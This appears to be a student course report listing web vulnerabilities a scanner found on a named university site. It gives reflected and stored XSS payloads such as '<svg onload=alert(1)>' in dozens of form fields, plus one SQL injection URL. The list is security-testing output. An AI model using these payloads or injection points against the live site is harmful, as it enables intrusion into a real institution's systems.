# CS5439 mysoc scanner
verified vuls:
```python=
# reflect xss
1. ['https://mysoc.nus.edu.sg/~phdexam/student/index.php', 0, {'appn_id': '<svg onload=alert(1)>'}]
2. ['https://mysoc.nus.edu.sg/app/phdexam/student/index.php', 0, {'appn_id': '<svg onload=alert(1)>'}]
```
## verified vuls
### reflect xss:
| url | 0/1 | payload |
| --------------------------------------------------- | --- | ------------------------------------ |
| https://mysoc.nus.edu.sg/~phdexam/student/index.php | 0 | {'appn_id': '<svg onload=alert(1)>'} |
proof of concept:
```c=
"><img%20src=x%20onerror=alert(1)>
```

---
| url | 0/1 | payload |
| --------------------------------------------------- | --- | ------------------------------------ |
| https://mysoc.nus.edu.sg/app/phdexam/student/index.php | 0 | {'appn_id': '<svg onload=alert(1)>'} |
proof of concept:
```c=
"><img%20src=x%20onerror=alert(1)>
```

---
```
# stored-based xss
3. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '<svg onload=teste0509851test>', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
4. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '<svg onload=teste0509851test>', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
5. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '<svg onload=teste0509851test>', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
6. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '<svg onload=teste0509851test>', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
7. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '<svg onload=teste0509851test>', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
8. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '<svg onload=teste0509851test>', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
9. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
10. ['https://mysoc.nus.edu.sg/app/eform/forms/form10.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_rs': '', 'F_hardwaremodel': '', 'F_asset': '', 'F_hostname': '', 'F_rackmount': 'NO', 'F_size': '', 'F_power': '', 'F_heat': '', 'F_handphone': '', 'F_extension_f': 'Y', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_email': 'YES', 'submit': 'Continue'}]
11. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '<svg onload=teste0509851test>', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
12. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '<svg onload=teste0509851test>', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
13. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '<svg onload=teste0509851test>', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
14. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '<svg onload=teste0509851test>', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
15. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '<svg onload=teste0509851test>', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
16. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '<svg onload=teste0509851test>', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
17. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '<svg onload=teste0509851test>', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
18. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
19. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '<svg onload=teste0509851test>', 'F_supervisor_id': '', 'F_email': 'YES', 'submit': 'Continue'}]
20. ['https://mysoc.nus.edu.sg/app/eform/forms/form8.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': 'e0509851', 'F_can_apply': '1', 'F_rs': '', 'F_resource_others': '', 'F_mac_addr': '', 'F_host_ip': '', 'F_research_f': 'Research', 'F_research_t': '', 'F_teaching_f': 'Teaching', 'F_teaching_t': '', 'F_work_f': 'Work', 'F_work_t': '', 'F_misc_f': 'Misc', 'F_misc_t': '', 'F_extension_f': 'Y', 'F_rg_n': '', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_email': 'YES', 'submit': 'Continue'}]
21. ['https://mysoc.nus.edu.sg/app/eform/forms/formC_1.php', 1, {'soc_id': '<svg onload=teste0509851test>', 'F_per_type': 'ug', 'F_resource_c': 'L01', 'F_pi_id': '', 'Submit': 'Submit'}]
22. ['https://mysoc.nus.edu.sg/app/eform/forms/formC_1.php', 1, {'soc_id': 'e0509851', 'F_per_type': 'ug', 'F_resource_c': 'L01', 'F_pi_id': '<svg onload=teste0509851test>', 'Submit': 'Submit'}]
23. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '<svg onload=teste0509851test>', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}]
24. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': '<svg onload=teste0509851test>', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}]
25. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '<svg onload=teste0509851test>', 'F_end_d': '', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}]
26. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '<svg onload=teste0509851test>', 'F_pi_id': '', 'F_pc': '', 'Submit': 'Submit'}]
27. ['https://mysoc.nus.edu.sg/app/eform/forms/formD_1.php', 1, {'logged_user': 'e0509851', 'F_per_type': 'student', 'F_curr_lab': '163', 'F_curr_seat': '10', 'F_curr_user': 'e0509851', 'F_curr_name': '', 'F_rq_f': 'Y', 'F_std_matric': 'A0213812R', 'F_resource_c': 'L02', 'soc_id': 'e0509851', None: 'Go', 'F_start_d': '', 'F_end_d': '', 'F_pi_id': '<svg onload=teste0509851test>', 'F_pc': '', 'Submit': 'Submit'}]
28. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '<svg onload=teste0509851test>', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
29. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '<svg onload=teste0509851test>', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
30. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '<svg onload=teste0509851test>', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
31. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '<svg onload=teste0509851test>', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
32. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '<svg onload=teste0509851test>', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
33. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '<svg onload=teste0509851test>', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
34. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '<svg onload=teste0509851test>', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
35. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '<svg onload=teste0509851test>', 'F_sys_location_t': '', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
36. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '<svg onload=teste0509851test>', 'F_supervisor_id': '', 'F_USER': 'e0509851', 'submit': 'Continue'}]
37. ['https://mysoc.nus.edu.sg/app/eform/forms/form2.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_extension_f': 'Y', 'F_hardware_type_t_others': '', 'F_os_type_t_others': '', 'F_num_appn': '1', 'F_host_nm[]': '', 'F_ethernet_addr_t[]': '', 'F_cpu_asset_n[]': '', 'F_monitor_asset_n[]': '', 'F_category_t_others': '', 'F_lab_nm': '', 'F_sys_location_t': '', 'F_supervisor_id': '<svg onload=teste0509851test>', 'F_USER': 'e0509851', 'submit': 'Continue'}]
38. ['https://mysoc.nus.edu.sg/app/eform/forms/form1.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': '', 'F_qty': '<svg onload=teste0509851test>', 'F_extension_f': 'Y', 'F_account_nm': ''}]
39. ['https://mysoc.nus.edu.sg/app/eform/forms/form1.php', 1, {'F_action': 'check', 'F_applicant_type': 'student', 'F_type': '', 'F_USER': '', 'F_qty': '', 'F_extension_f': 'Y', 'F_account_nm': '<svg onload=teste0509851test>'}]
#with manual effort
## sqli
40. https://mysoc.nus.edu.sg/app/eform/forms/form6.php?F_action=print_form&F_resource_n=F6-0069910&F_signature=ns&F_admin=1
## stored-based xss
41. https://mysoc.nus.edu.sg/~calendar/start/PRIVATE/cal.cgi?CalendarName=AI_Lab_1_Seat1&Op=ShowDay&Date=2022%2F1%2F1&Amount=Month&NavType=Absolute&Type=Block
```
store based xss:
